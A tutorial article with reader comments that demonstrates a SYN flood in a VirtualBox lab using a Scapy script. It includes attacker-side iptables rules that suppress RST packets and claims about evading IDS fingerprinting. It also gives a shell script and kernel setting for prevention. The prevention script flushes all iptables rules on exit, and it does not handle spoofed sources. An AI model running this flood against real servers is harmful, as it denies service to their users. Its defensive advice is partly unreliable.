SYN Flooding using SCAPY and Prevention using iptables

SYN Flooding

DoS (Denial of Service) attacks against Web services make them unavailable for legitimate users, affecting the website owner’s potential business. These involve intentional consumption of network, CPU and memory resources. In this article, I will demonstrate how to do a SYN flood using the SCAPY framework, along with other preventive measures.

Over time, DoS attacks have become more complicated, concealing malicious client requests as legitimate ones. Also, a distributed approach, the DDoS (Distributed Denial of Service) is now being adopted, which involves generating multiple requests to create a flood scenario. One type of DDoS flood attack is the TCP SYN queue flood.

A SYN queue flood attack takes advantage of the TCP protocol’s “three-way handshake”. A client sends a TCP SYN (S flag) packet to begin a connection to the server. The target server replies with a TCP SYN-ACK (SA flag) packet, but the client does not respond to the SYN-ACK, leaving the TCP connection “half-open”. In normal operation, the client should send an ACK (a flag) packet followed by the data to be transferred, or an RST reply to reset the connection. On the target server, the connection is kept open, in a “SYN_RECV” state, as the ACK packet may have been lost due to network problems.

In a DDoS, multiple attackers make many such half-connections to the target server, in a storm of requests. When the server’s SYN buffer is full with half-open TCP connections, it stops accepting SYN connections, thus resulting in denial of service to legitimate clients.

Such DDoS attacks are generally carried out using “botnets” of other compromised systems across the Internet, which through backdoors and Trojans are directed to send artificial SYN flood traffic to targeted servers. To defend against such attacks, a strong monitoring system is required, as there is a very fine line between legitimate and fake clients. SYN queue flood attacks can be mitigated by tuning
the kernel’s TCP/IP parameters.

In this article, to simulate a DDoS, I will generate SYN flood packets with Scapy (which has functions to manually craft abnormal packets with the desired field values), and use iptables, in multiple Oracle VirtualBox virtual machines running Ubuntu 10.04 Server. Two “attacker” VMs send packets to a “target
server” VM. In a real-life scenario, attackers target a server on ports that are in the LISTEN state, to bring down the service.

Now, let’s look at this in detail.

Attack scenario

Figure 1: Attack scenario (click to enlarge diagram)

The attackers’ configurations

My three Ubuntu Server VMs are connected through the VirtualBox “Hostonly” network adapter. The target server is 192.168.56.102; 192.168.56.101 and 192.168.56.103 are the attackers. I am using Scapy 2.2.0. Going forward, extract the Scapy source, and as the root, run python setup.py install. Run Scapy with the command scapy.

To attack the target server (192.168.56.102), insert the following iptables rules in the respective attacker VMs:

iptables –A OUTPUT –p tcp –s 192.168.56.101 --tcp-flags RST RST –j DROP
iptables –A OUTPUT –p tcp –s 192.168.56.103 --tcp-flags RST RST –j DROP
Note: This rule will DROP packets from the OUTPUT chain that have the RST flag set. The iptables rules will only apply to the kernel stack layer, not the application layer — so it will not apply to packets generated by Scapy, which creates the entire packet in its space. However, the malformed/manipulated packets crafted by Scapy will be seen by the kernel, which will send RST responses (resets) to the target, since it (the attacker’s kernel) didn’t initiate this TCP communication. To prevent this, we should use the above iptables rules, so that the kernel’s RSTs will not get to the target — otherwise, the target’s SYN buffer will not get full, and the DDoS attack will fail.

The attack

Run the Python script (below, SYN_Flood_Scapy.py) in the attacker VMs to send malformed SYN connections to the target.

#! /usr/bin/env python
# Name : Subodh Pachghare
# CyberSpace Name : HaX0R (Cyberninja)
# Website : www.thesubodh.com
# Description : SYN Flood Packet creation for iptables prevention solution
import sys
from scapy.all import *
#conf.verb=0
print "Field Values of packet sent"
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ls(p)
print "Sending Packets in 0.3 second intervals for timeout of 4 sec"
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
print "Summary of answered & unanswered packets"
ans.summary()
unans.summary()
print "source port flags in response"
#for s,r in ans:
# print r.sprintf("%TCP.sport% \t %TCP.flags%")
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%")))

A sample usage of this script:

python SYN_Flood_Scapy.py 192.168.56.102

Figure 2 shows the Scapy SYN packet output at the shell prompt.

SYN flood script output

Figure 2: SYN flood script output

As you can see, this script will take the destination IP as input, and will create connections from different ports. Random custom field values are used for TTL (Time to live) and ID, to obfuscate the identity in case any IDS/IPS (Intrusion Detection System/Intrusion Prevention System) is present at the target side. Every OS has typical TTL values (e.g., Windows 128, Linux 64, etc.), which any firewall or IDS/IPS like Snort can use to detect the attacker’s OS version.

The randshort() function is used to generate random port numbers for the sport (source port) of the TCP packet. The destination port (dport) is set to port 22 (SSH) and 80 (Apache Web server). The TCP connect flag is set to SYN using the flags option.

The srloop function sends p crafted packets at intervals of 0.3 seconds. The results of srloop are collected in ans (for answered packets) and unans (for unanswered packets). The gathered results are displayed in a table format for the reply flags and TTL values.

Finally, the script reports SA (SYN-ACK) responses, and gives the results as answered/unanswered packets.

The target’s reply of SA shows that it “thinks” the ACK from attacker/initiator was lost; hence, it keeps re-sending it, for an interval specified by the kernel. The connection, on the target server, remains in the SYN_RECV condition for 3 minutes for each port, as per the net.ipv4.tcp_synack_retries parameter, which is set to 5 in Linux. After these retries, the kernel closes the connection.

Here is the seed of a SYN flood. Millions of unanswered SYN requests to the target server can fill the buffer up completely, leaving it unable to serve legitimate clients. Now let’s look into custom prevention methods.

Prevention measures on target server

As a prevention measure, I created a shell script to generate iptables rules, which will be purged automatically on exit from the script. This solution will reject all suspicious TCP connections with a TCP RST packet, to prevent potential DDoS. All connections in the SYN_RECV state will be closed forcibly with RST packets. I allow 25 attempts from a single IP address, to take care of packet loss, which sometimes does happen, due to network errors. Thus, legitimate clients have a chance to reconnect.

After 25 attempts from the same IP address, SYN packets from that IP address will be rejected as intentional flooding (an iptables rule entry is added for malicious IP addresses, to REJECT with a TCP RST flag), and it will be logged for tracking purposes. The time interval at which to check for connections has to be specified (the script will sleep for the given time interval). If the server has a significant load, lower intervals are better, for more frequent scans.

This will also log the number of connections made from each IP address, for further analysis. The script can be terminated with the EXIT signal. It uses a while loop with the continue jump statement, so that existing IP address rules will not be re-entered.

The SYN_Flood_Prevention.sh script is as follows:

# Description : SYN Flood Prevention using iptables against Scapy SYN packets generated
> /var/log/DDOS_IP.log
> /tmp/test1.txt
> /tmp/test2.txt
trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables entries cleared;echo HaX0R SVP" EXIT
while true;
do
date >> /var/log/DDOS_IP.log
netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c >> /var/log/DDOS_IP.log
for pip in `netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq`
do
conntrack=`netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | grep $pip | wc -l`;
while read line
do
if [ "$line" = "$pip" ]
then
continue 2
fi
done < /tmp/test2.txt
if [ "$conntrack" -gt "25" ]
then
iptables -I INPUT -s $pip -p tcp -j REJECT --reject-with tcp-reset
echo "$pip" >> /tmp/test1.txt
fi
done
cat /tmp/test1.txt | sort | uniq > /tmp/test2.txt
sleep $1
done

Use it as shown below, on the target server:

./SYN_Flood_Prevention.sh 4

The EXIT signal (^C) will cause the script to flush all iptables chains, and clear all the rules it added. The topology diagram is in Figure 3.

Prevention practice

Figure 3: Prevention practice (click to enlarge diagram)

Kernel configuration

Beyond this shell script, the number of SYN_ACK retries can also be lowered, so that the kernel closes SYN_RECV state connections earlier. The parameter net.ipv4.tcp_synack_retries defaults to 5 SYN_ACK retries, which leaves SYN_RECV-state connections open for 3 minutes. You can reduce this so that these hanging connections will close sooner. I have used a value of 1, just for demonstration. This allows a time interval of 10 seconds before the connection is closed. Set the parameter using the following method. Add or edit the following line in /etc/sysctl.conf:

net.ipv4.tcp_synack_retries = 1

Commit the changes made using the sysctl command as root as follows:

sysctl –p /etc/sysctl.conf

Verify the changes in effect using the following command:

root@ubiserv:~# cat /proc/sys/net/ipv4/tcp_synack_retries
1

So, this is what you need to know to prevent a SYN queue flood. Please drop me a line if you are thinking about using this, and of course, for any suggestions or problems.

  • vijendrasingh thakur

    Its a very nice work by you…Really interesting & valuable to prevent DDOS attack….

  • Long John

    I have been searching for something like this for a long time. I’m gonna give it a try on my servers , since ddos floods have caused alot of hassle lately, and most firewalls are simply too heavy for the purpose and are exhausting all resources themselves by trying to mitigate the attacks, which eventually brings the servers down anyway.
    Cheers!

  • truth

    The attack does not work on a default ubuntu apache php5 installation (zero security measures taken)

  • Matt

    A common SYN Flood method is to spoof random IPs, so this would not work because it probably wouldn’t count 25 of the same IP (and even if it did, it would only block that spoofed ip, not the actual source)

All published articles are released under Creative Commons Attribution-NonCommercial 3.0 Unported License, unless otherwise noted.
Open Source For You is powered by WordPress, which gladly sits on top of a CentOS-based LEMP stack.

Creative Commons License.